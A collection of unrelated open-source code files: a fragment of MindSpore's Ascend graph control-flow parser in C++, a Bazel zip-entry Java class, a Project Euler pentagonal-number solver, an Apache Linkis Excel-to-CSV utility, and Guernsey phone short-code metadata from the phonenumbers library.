mindspore::NewValueNode(std::make_shared<Primitive>(prim::kPrimMakeTuple->name()))}; std::copy(orig_inputs.begin(), orig_inputs.end(), std::back_inserter(make_tuple_inputs)); auto make_tuple = graph->NewCNode(make_tuple_inputs); InsertDependToGraph(graph, NOT_NULL(make_tuple)); } void AscendControlParser::RecurseCall(NotNull<KernelGraphPtr> kg, NotNull<CNodePtr> cur_node, const CNodePtr &next_node, const NotNull<std::set<KernelGraphPtr> *> memo) { MS_LOG(INFO) << "Process call func " << cur_node->DebugString(); // 1 get kernel graph std::vector<AnfNodePtr> origin_inputs = cur_node->inputs(); if (kCNodeCallArg >= origin_inputs.size()) { MS_LOG(EXCEPTION) << "Index out of range,size:" << origin_inputs.size(); } std::vector<AnfNodePtr> new_inputs = {std::make_shared<ValueNode>(std::make_shared<Primitive>(kLabelGotoOpName))}; if (!IsValueNode<KernelGraph>(origin_inputs[kCNodeCallArg])) { MS_LOG(WARNING) << "Node " << cur_node->DebugString(10) << " index " << kCNodeCallArg << " is not a ValueNode"; return; } // 2 return label auto back_label = kg->NewCNode({std::make_shared<ValueNode>(std::make_shared<Primitive>(kLabelSetOpName))}); MS_LOG(INFO) << "Insert back label " << back_label->DebugString() << " to " << kg->ToString() << " call node " << cur_node->DebugString(); // 3 add depend relationship InsertControlDependToGraph(kg, cur_node, NOT_NULL(back_label)); if (next_node != nullptr && next_node != kg->get_return()) { InsertControlDependToGraph(kg, NOT_NULL(back_label), NOT_NULL(next_node)); } auto call_kg = GetValueNode<KernelGraphPtr>(origin_inputs[kCNodeCallArg]); // 4 modify call op to goto op cur_node->set_input(kCNodePrim, new_inputs[kCNodePrim]); // 5 recurse sub graph CNodePtr sub_label = ProcessKernelGraph(NOT_NULL(call_kg), cur_node, back_label, memo); new_inputs.push_back(sub_label); cur_node->set_inputs(new_inputs); cur_node->set_abstract(nullptr); AnfAlgo::SetNodeAttr(kAttrChildGraph, MakeValue<std::vector<KernelGraphPtr>>({call_kg}), cur_node.get()); kg->RemoveNodeFromGraph(origin_inputs[kCNodeCallArg]); origin_inputs.assign(origin_inputs.begin() + kCNodeCallArg + 1, origin_inputs.end()); AttachOriginalInputsToGraph(kg, origin_inputs); MS_LOG(INFO) << "Succeed processing call func " << cur_node->DebugString(); } void AscendControlParser::RecurseSwitch(NotNull<KernelGraphPtr> kg, NotNull<CNodePtr> cur_node, const CNodePtr &next_node, const NotNull<std::set<KernelGraphPtr> *> memo) { MS_LOG(INFO) << "Process switch node " << cur_node->DebugString(); if (cur_node->size() < kCNodeSwitchLength) { MS_LOG(EXCEPTION) << "Inputs of apply node must more than " << kCNodeSwitchLength; } // 1 return label auto back_label = kg->NewCNode({std::make_shared<ValueNode>(std::make_shared<Primitive>(kLabelSetOpName))}); MS_EXCEPTION_IF_NULL(back_label); MS_LOG(INFO) << "Insert back label " << back_label->DebugString() << " to " << kg->ToString() << " switch node " << cur_node->DebugString(); // 2 add depend relationship InsertControlDependToGraph(kg, cur_node, NOT_NULL(back_label)); if (next_node != nullptr && next_node != kg->get_return()) { InsertControlDependToGraph(kg, NOT_NULL(back_label), NOT_NULL(next_node)); } // 3 recurse sub graph const std::vector<AnfNodePtr> &origin_switch_inputs = cur_node->inputs(); if (kCNodeSwitchCond >= origin_switch_inputs.size()) { MS_LOG(EXCEPTION) << "The size of origin_switch_inputs is not more than " << kCNodeSwitchCond; } std::vector<AnfNodePtr> new_switch_inputs = { std::make_shared<ValueNode>(std::make_shared<Primitive>(kLabelSwitchOpName)), origin_switch_inputs[kCNodeSwitchCond]}; std::vector<KernelGraphPtr> child_graphs; for (size_t i = kCNodeSwitchCond + 1; i < kCNodeSwitchLength; ++i) { // 3.1 branch kernel graph and args KernelGraphPtr branch_fg; std::vector<AnfNodePtr> origin_inputs; std::tie(branch_fg, origin_inputs) = ParsePartial(NOT_NULL(origin_switch_inputs[i])); child_graphs.push_back(branch_fg); // 3.2 recurse sub graph CNodePtr branch_label = ProcessKernelGraph(NOT_NULL(branch_fg), cur_node, back_label, memo); new_switch_inputs.push_back(branch_label); AttachOriginalInputsToGraph(kg, origin_inputs); } std::swap(new_switch_inputs[kCNodeSwitchTrue], new_switch_inputs[kCNodeSwitchFalse]); cur_node->set_inputs(new_switch_inputs); cur_node->set_abstract(nullptr); AnfAlgo::SetNodeAttr(kAttrChildGraph, MakeValue<std::vector<KernelGraphPtr>>(child_graphs), cur_node.get()); MS_LOG(INFO) << "Succeed processing switch func " << cur_node->DebugString(); } void AscendControlParser::RecurseSwitchLayer(NotNull<KernelGraphPtr> kg, NotNull<CNodePtr> cur_node, const CNodePtr &next_node, const NotNull<std::set<KernelGraphPtr> *> memo) { MS_LOG(INFO) << "Process switch node " << cur_node->DebugString(); if (cur_node->size() < kCNodeSwitchLayerLength) { MS_LOG(EXCEPTION) << "Inputs of apply node must more than " << kCNodeSwitchLayerLength; } auto branch_tuple = cur_node->input(kCNodeSwitchLayerBranch); MS_EXCEPTION_IF_NULL(branch_tuple); if (!branch_tuple->isa<CNode>()) { MS_LOG(EXCEPTION) << branch_tuple->DebugString() << " is not a CNode"; } const std::vector<AnfNodePtr> &branch_partial = utils::cast<CNodePtr>(branch_tuple)->inputs(); // 1 return label auto back_label = kg->NewCNode({std::make_shared<ValueNode>(std::make_shared<Primitive>(kLabelSetOpName))}); // 2 add depend relationship InsertControlDependToGraph(kg, cur_node, NOT_NULL(back_label)); if (next_node != nullptr && next_node != kg->get_return()) { InsertControlDependToGraph(kg, NOT_NULL(back_label), NOT_NULL(next_node)); } // 3 recurse sub graph const std::vector<AnfNodePtr> &origin_switch_inputs = cur_node->inputs(); if (kCNodeSwitchCond >= origin_switch_inputs.size()) { MS_LOG(EXCEPTION) << "Index out of range:" << origin_switch_inputs.size() << "."; } std::vector<AnfNodePtr> new_switch_inputs = { std::make_shared<ValueNode>(std::make_shared<Primitive>(kLabelSwitchOpName)), origin_switch_inputs[kCNodeSwitchCond]}; std::vector<KernelGraphPtr> child_graphs; for (size_t i = 0; i < branch_partial.size(); ++i) { // 3.1 branch kernel graph and args KernelGraphPtr branch_fg; std::vector<AnfNodePtr> origin_inputs; std::tie(branch_fg, origin_inputs) = ParsePartial(NOT_NULL(origin_switch_inputs[i])); child_graphs.push_back(branch_fg); // 3.2 recurse sub graph CNodePtr branch_label = ProcessKernelGraph(NOT_NULL(branch_fg), cur_node, back_label, memo); new_switch_inputs.push_back(branch_label); AttachOriginalInputsToGraph(kg, origin_inputs); } new_switch_inputs.insert(new_switch_inputs.end(), branch_partial.begin(), branch_partial.end()); cur_node->set_inputs(new_switch_inputs); cur_node->set_abstract(nullptr); AnfAlgo::SetNodeAttr(kAttrChildGraph, MakeValue<std::vector<KernelGraphPtr>>(child_graphs), cur_node.get()); MS_LOG(INFO) << "Succeed processing switch layer " << cur_node->DebugString(); } std::tuple<KernelGraphPtr, std::vector<AnfNodePtr>> AscendControlParser::ParsePartial(NotNull<AnfNodePtr> node) { if (!node.get()->isa<CNode>()) { if (IsValueNode<KernelGraph>(node)) { return {GetValueNode<KernelGraphPtr>(node), {}}; } MS_LOG(EXCEPTION) << "Switch branches must be partial, node: " << node->DebugString(); } // 2.1 branch kernel graph and args auto partial_cnode = utils::cast<CNodePtr>(node.get()); MS_EXCEPTION_IF_NULL(partial_cnode); if (partial_cnode->size() < kCNodePartialLength) { MS_LOG(EXCEPTION) << "Inputs of partial node must more than " << kCNodePartialLength; } const auto &partial_inputs = partial_cnode->inputs(); if (kCNodePartialFunc >= partial_inputs.size()) { MS_LOG(EXCEPTION) << "Index out of range:" << partial_inputs.size() << "."; } auto branch_kg = GetValueNode<KernelGraphPtr>(partial_inputs[kCNodePartialFunc]); return {branch_kg, std::vector<AnfNodePtr>(partial_inputs.begin() + kCNodePartialFunc + 1, partial_inputs.end())}; } void AscendControlParser::InsertMultipleAssignToGraph(NotNull<KernelGraphPtr> from_graph, const AnfNodePtr &jump_node, NotNull<AnfNodePtr> from, NotNull<AnfNodePtr> to) { std::vector<AnfNodePtr> from_outputs = AnfAlgo::GetAllOutput(from, {prim::kPrimTupleGetItem}); std::vector<AnfNodePtr> to_outputs = AnfAlgo::GetAllOutput(to, {prim::kPrimTupleGetItem}); MS_LOG(INFO) << "Insert multi-assign from [" << from->DebugString() << "] to [" << to->DebugString() << "]"; if (from_outputs.size() != to_outputs.size()) { MS_LOG(EXCEPTION) << "From outputs size[" << from_outputs.size() << "] is not equal to to outputs size[" << to_outputs.size() << "]"; } for (size_t i = 0; i < from_outputs.size(); i++) { auto assign_node = InsertAssignToGraph(from_graph, NOT_NULL(from_outputs[i]), NOT_NULL(to_outputs[i])); if (assign_node == nullptr) { continue; } const auto &from_graph_exe_order = from_graph->execution_order(); if (jump_node == nullptr) { if (!from_graph_exe_order.empty()) { InsertControlDependToGraph(from_graph, NOT_NULL(*(from_graph_exe_order.rbegin())), NOT_NULL(assign_node)); } else { InsertDependToGraph(from_graph, NOT_NULL(assign_node)); } continue; } auto jump_node_iter = std::find(from_graph_exe_order.begin(), from_graph_exe_order.end(), jump_node); if (jump_node_iter == from_graph_exe_order.end()) { MS_LOG(EXCEPTION) << "Cannot find jump node " << jump_node->DebugString() << " in graph " << from_graph->ToString(); } // insert assign between jump_node -1 and jump_node if (jump_node_iter != from_graph_exe_order.begin()) { InsertControlDependToGraph(from_graph, NOT_NULL(*(jump_node_iter - 1)), NOT_NULL(assign_node)); } InsertControlDependToGraph(from_graph, NOT_NULL(assign_node), NOT_NULL(jump_node)); } } AnfNodePtr AscendControlParser::InsertAssignToGraph(NotNull<KernelGraphPtr> kg, NotNull<AnfNodePtr> from, NotNull<AnfNodePtr> to) { if (AnfAlgo::OutputAddrExist(from, 0) && AnfAlgo::OutputAddrExist(to, 0) && AnfAlgo::GetOutputAddr(from, 0) == AnfAlgo::GetOutputAddr(to, 0)) { return nullptr; } if (from.get() == to.get()) { return nullptr; } MS_LOG(INFO) << "Insert assign to graph " << kg->ToString() << " from " << from->DebugString() << " to " << to->DebugString(); // config inputs of assign node std::vector<AnfNodePtr> inputs = {NewValueNode(std::make_shared<Primitive>(prim::kPrimAssign->name())), to, from}; // generate a new cnode auto assign_node = kg->NewCNode(inputs); MS_EXCEPTION_IF_NULL(assign_node); assign_node->set_abstract(to->abstract()); return assign_node; } std::vector<CNodePtr> AscendControlParser::RecurseGraph(NotNull<KernelGraphPtr> graph, const NotNull<std::set<KernelGraphPtr> *> memo) { MS_LOG(INFO) << "Graph:" << graph->graph_id() << " start"; if (memo->find(graph) != memo->end()) { return {}; } memo->insert(graph.get()); graph->SetExecOrderByDefault(); std::vector<CNodePtr> cnodes = graph->execution_order(); auto end_label_goto = graph->get_end_goto(); if (cnodes.rbegin() != cnodes.rend() && *cnodes.rbegin() == end_label_goto) { cnodes.pop_back(); } AnfAlgo::ReorderExecList(NOT_NULL(&cnodes)); if (end_label_goto != nullptr) { cnodes.push_back(end_label_goto); } std::vector<CNodePtr> execution_order; uint32_t child_order_index = 0; auto recurse_child_graph = [&](uint32_t index, uint32_t label_index, const CNodePtr &node) { if (!CheckLabelIndex(index, label_index, node)) { MS_LOG(EXCEPTION) << "Check label index fail"; } if (child_order_index >= graph->child_graph_order().size()) { MS_LOG(EXCEPTION) << "Index out of range:" << graph->child_graph_order().size(); } auto child_graph = graph->child_graph_order()[child_order_index++]; auto child_execution_order = RecurseGraph(NOT_NULL(child_graph.lock()), memo); execution_order.insert(execution_order.end(), child_execution_order.begin(), child_execution_order.end()); }; for (auto &node : cnodes) { uint32_t child_graph_index = 0; execution_order.push_back(node); if (node == graph->get_end_goto()) { continue; } if (AnfAlgo::CheckPrimitiveType(node, prim::kPrimLabelSwitch)) { std::vector<uint32_t> label_switch_list = AnfAlgo::GetNodeAttr<std::vector<uint32_t>>(node, kAttrLabelSwitchList); for (auto iter = label_switch_list.rbegin(); iter != label_switch_list.rend(); ++iter) { recurse_child_graph(child_graph_index++, *iter, node); } } else if (AnfAlgo::CheckPrimitiveType(node, prim::kPrimLabelGoto)) { uint32_t label_index = AnfAlgo::GetNodeAttr<uint32_t>(node, kAttrLabelIndex); recurse_child_graph(child_graph_index, label_index, node); } // erase kAttrChildGraph after finish using if (AnfAlgo::HasNodeAttr(kAttrChildGraph, node)) { AnfAlgo::EraseNodeAttr(kAttrChildGraph, node); } } graph->set_execution_order(execution_order); graph->PrintGraphExecuteOrder(); return execution_order; } bool AscendControlParser::CheckLabelIndex(uint32_t index, uint32_t label_index, const CNodePtr &cur_label) { auto child_graphs = AnfAlgo::GetNodeAttr<std::vector<KernelGraphPtr>>(cur_label, kAttrChildGraph); // check index and child order size if (child_graphs.size() <= IntToSize(index)) { MS_LOG(EXCEPTION) << "Child graph index is wrong, current node " << cur_label->ToString() << " child graph size " << child_graphs.size() << " goto index " << index; } auto child_graph = child_graphs[index]; MS_EXCEPTION_IF_NULL(child_graph); // get start_label_set_index of child graph auto start_label_set = child_graph->get_start_label(); uint32_t start_label_set_index = AnfAlgo::GetNodeAttr<uint32_t>(start_label_set, kAttrLabelIndex); if (label_index != start_label_set_index) { MS_EXCEPTION_IF_NULL(cur_label); MS_EXCEPTION_IF_NULL(start_label_set); MS_LOG(WARNING) << cur_label->DebugString() << " index " << label_index << " but " << start_label_set->DebugString() << " index " << start_label_set_index; return false; } else { return true; } } void AscendControlParser::ReferenceCounter::AddReadCount(const AnfNodePtr &key, int32_t num) { auto iter = count_.find(key); if (iter != count_.end()) { iter->second.first += num; } else { count_[key] = {num, 0}; } } void AscendControlParser::ReferenceCounter::AddWriteCount(const AnfNodePtr &key, int32_t num) { auto iter = count_.find(key); if (iter != count_.end()) { iter->second.second += num; } else { count_[key] = {0, num}; } } void AscendControlParser::ReferenceCounter::EraseElem(const AnfNodePtr &key) { count_.erase(key); } bool AscendControlParser::ReferenceCounter::HasValidElem() const { auto it = std::find_if(count_.begin(), count_.end(), [this](const std::pair<AnfNodePtr, std::pair<uint32_t, uint32_t>> &p) -> bool { auto &[read, written] = p.second; return predicate_(read, written); }); return it != count_.end(); } std::tuple<AnfNodePtr, int32_t, int32_t> AscendControlParser::ReferenceCounter::GetOneValidElem() const { auto it = std::find_if(count_.begin(), count_.end(), [this](const std::pair<AnfNodePtr, std::pair<uint32_t, uint32_t>> &p) -> bool { auto &[read, written] = p.second; return predicate_(read, written); }); if (it == count_.end()) { MS_LOG(EXCEPTION) << "No valid parameter."; } return {it->first, it->second.first, it->second.second}; } } // namespace session } // namespace mindspore
jobechoi/bazel
src/tools/android/java/com/google/devtools/build/android/dexer/ZipEntryContent.java
// Copyright 2016 The Bazel Authors. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package com.google.devtools.build.android.dexer; import java.util.zip.ZipEntry; /** * Structured pair of file metadata encoded as {@link ZipEntry} and {@code byte[]} file content. * Typically this class is used to represent an entry in a zip file. */ class ZipEntryContent { private final ZipEntry entry; private final byte[] content; public ZipEntryContent(ZipEntry entry, byte[] content) { this.entry = entry; this.content = content; } public ZipEntry getEntry() { return entry; } public byte[] getContent() { return content; } }
robdimsdale/project-euler
src/main/java/com/rmd/personal/projecteuler/P044.java
package com.rmd.personal.projecteuler; public class P044 implements Problem { @Override public String getDescription() { return "Pentagonal numbers are generated by the formula, Pn=n(3n−1)/2. The first ten pentagonal numbers " + "are:\n\n" + "1, 5, 12, 22, 35, 51, 70, 92, 117, 145, ...\n\n" + "It can be seen that P4 + P7 = 22 + 70 = 92 = P8. However, their difference, 70 − 22 = 48, " + "is not pentagonal.\n\n" + "Find the pair of pentagonal numbers, Pj and Pk, for which their sum and difference are pentagonal " + "and D = |Pk − Pj| is minimised; what is the value of D?"; } @Override public String run() { long difference = -1; int n = 1; while (difference == -1) { long j = this.getTriangleNumberByIndex(n); for (int m = 1; m < n; m++) { long k = this.getTriangleNumberByIndex(m); if (Common.isPentagonal(j + k) && Common.isPentagonal(j - k)) { difference = j - k; } } n++; } return String.valueOf(difference); } private long getTriangleNumberByIndex(int n) { return n * ((3 * n) - 1) / 2; } }
casionone/linkis-0225
linkis-commons/linkis-storage/src/main/java/org/apache/linkis/storage/excel/XlsUtils.java
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.linkis.storage.excel; import org.apache.linkis.storage.utils.StorageUtils; import org.apache.hadoop.fs.FileSystem; import org.apache.hadoop.fs.Path; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.util.ArrayList; import java.util.List; public class XlsUtils { private final static Logger LOG = LoggerFactory .getLogger(XlsUtils.class); public static List<List<String>> getBasicInfo(InputStream inputStream){ List<List<String>> res = new ArrayList<>(); FirstRowDeal firstRowDeal = new FirstRowDeal(); ExcelXlsReader xlsReader = new ExcelXlsReader(); try { xlsReader.init(firstRowDeal, inputStream); xlsReader.process(); }catch (ExcelAnalysisException e) { res.add(firstRowDeal.getSheetNames()); res.add(firstRowDeal.getRow()); LOG.info("Finshed to get xls Info"); } catch (Exception e){ LOG.error("Failed to parse xls: ", e); } finally { xlsReader.close(); } return res; } public static String excelToCsv(InputStream inputStream, FileSystem fs, Boolean hasHeader, List<String> sheetNames) throws Exception{ String hdfsPath = "/tmp/" + StorageUtils.getJvmUser() + "/" + System.currentTimeMillis() + ".csv"; ExcelXlsReader xlsReader = new ExcelXlsReader(); RowToCsvDeal rowToCsvDeal = new RowToCsvDeal(); OutputStream out = null; try { out = fs.create(new Path(hdfsPath)); rowToCsvDeal.init(hasHeader, sheetNames, out); xlsReader.init(rowToCsvDeal, inputStream); xlsReader.process(); } catch (IOException e) { LOG.error("Failed to excel to csv", e); throw e; } finally { if(out != null) out.close(); xlsReader.close(); } return hdfsPath; } }
priyamshah112/Project-Descripton-Blog
tech_project/lib/python2.7/site-packages/phonenumbers/shortdata/region_GG.py
"""Auto-generated file, do not edit by hand. GG metadata""" from ..phonemetadata import NumberFormat, PhoneNumberDesc, PhoneMetadata PHONE_METADATA_GG = PhoneMetadata(id='GG', country_code=None, international_prefix=None, general_desc=PhoneNumberDesc(national_number_pattern='[19]\\d{2,5}', possible_length=(3, 4, 5, 6)), toll_free=PhoneNumberDesc(national_number_pattern='112|999', example_number='112', possible_length=(3,)), emergency=PhoneNumberDesc(national_number_pattern='112|999', example_number='112', possible_length=(3,)), short_code=PhoneNumberDesc(national_number_pattern='1(?:0[01]|1[12]|23|41|55|9[05])|999|1(?:1[68]\\d\\d|47|800)\\d', example_number='100', possible_length=(3, 4, 5, 6)), short_data=True)